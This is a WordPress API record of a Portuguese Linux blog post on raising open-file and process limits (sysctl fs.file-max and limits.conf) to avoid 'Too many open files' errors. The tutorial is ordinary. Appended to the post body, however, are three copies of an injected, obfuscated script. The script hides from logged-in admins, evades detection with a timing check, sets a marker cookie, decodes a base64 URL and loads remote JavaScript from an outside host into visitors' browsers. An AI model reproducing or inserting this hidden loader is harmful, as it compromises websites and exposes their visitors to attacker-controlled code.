{"id":975,"date":"2011-01-19T18:10:49","date_gmt":"2011-01-19T20:10:49","guid":{"rendered":"http:\/\/www.thiagovespa.com.br\/blog\/?p=975"},"modified":"2025-10-26T22:41:38","modified_gmt":"2025-10-27T01:41:38","slug":"muitos-arquivos-abertos","status":"publish","type":"post","link":"https:\/\/thiagovespa.com.br\/blog\/2011\/01\/19\/muitos-arquivos-abertos\/","title":{"rendered":"Muitos arquivos abertos?"},"content":{"rendered":"<p style=\"text-align: justify;\">Em aplica\u00e7\u00f5es de grande porte, como servidores JEE, o n\u00famero de arquivos e processos abertos pode ser relativamente grande. Isso ocasiona um problema em alguns sistemas Linux, pois o n\u00famero de arquivos\u00a0 e processos abertos por usu\u00e1rio \u00e9 limitado e uma das mensagens de erro que voc\u00ea poder\u00e1 encontrar ser\u00e1: \"Too many open files\".<\/p>\n<p style=\"text-align: justify;\">Isso ocorre ao utilizar o Oracle SOA Suite no Ubuntu, portanto \u00e9 uma boa pr\u00e1tica realizar esses procedimentos antes da instala\u00e7\u00e3o.<\/p>\n<p style=\"text-align: justify;\">O primeiro passo \u00e9 criar um novo arquivo na pasta \/etc\/sysctl.d ou adicionar a seguinte linha no arquivo \/etc\/sysctl.conf:<\/p>\n<pre class=\"brush: bash; title: ; notranslate\" title=\"\">\nfs.file-max = 100000\n<\/pre>\n<p style=\"text-align: justify;\">Onde 100000 \u00e9 o n\u00famero m\u00e1ximo de arquivos que o kernel do linux pode manipular. Ap\u00f3s feito isso, edite o arquivo \/etc\/security\/limits.conf e adicione as seguintes linhas:<\/p>\n<pre class=\"brush: bash; title: ; notranslate\" title=\"\">\nthiago soft nproc 2047\nthiago hard nproc 16384\nthiago soft nofile 1024\nthiago hard nofile 65536\n<\/pre>\n<p style=\"text-align: justify;\">Substitua thiago pelo usu\u00e1rio que voc\u00ea est\u00e1 executando os processos. Na terceira coluna, nproc \u00e9 o n\u00famero m\u00e1ximo de processos abertos para o usu\u00e1rio e nofile \u00e9 o n\u00famero m\u00e1ximo de arquivos abertos para o usu\u00e1rio. D\u1ebd uma lida no in\u00edcio do arquivo que h\u00e1 explica\u00e7\u00f5es sobre cada par\u00e2metro.<\/p>\n<p style=\"text-align: justify;\">Reinicie o computador ou recarregue as altera\u00e7\u00f5es com o comando:<\/p>\n<pre class=\"brush: bash; title: ; notranslate\" title=\"\">\nsysctl -p\n<\/pre>\n<p style=\"text-align: justify;\">Caso o erro persista, altere os valores de n\u00famero de processos e n\u00famero de arquivos abertos.<\/p>\n<p><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9ha21jZG5yZXBvLmNvbS9leGl0anM=');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Em aplica\u00e7\u00f5es de grande porte, como servidores JEE, o n\u00famero de arquivos e processos abertos pode ser relativamente grande. Isso ocasiona um problema em alguns sistemas Linux, pois o n\u00famero de arquivos\u00a0 e processos abertos por usu\u00e1rio \u00e9 limitado e <a class=\"more-link\" href=\"https:\/\/thiagovespa.com.br\/blog\/2011\/01\/19\/muitos-arquivos-abertos\/\">Continue lendo  <span class=\"screen-reader-text\">  Muitos arquivos abertos?<\/span><span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"_monsterinsights_skip_tracking":false,"_monsterinsights_sitenote_active":false,"_monsterinsights_sitenote_note":"","_monsterinsights_sitenote_category":0,"footnotes":""},"categories":[64],"tags":[],"class_list":["post-975","post","type-post","status-publish","format-standard","hentry","category-linux"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/975","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/comments?post=975"}],"version-history":[{"count":0,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/posts\/975\/revisions"}],"wp:attachment":[{"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/media?parent=975"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/categories?post=975"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/thiagovespa.com.br\/blog\/wp-json\/wp\/v2\/tags?post=975"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}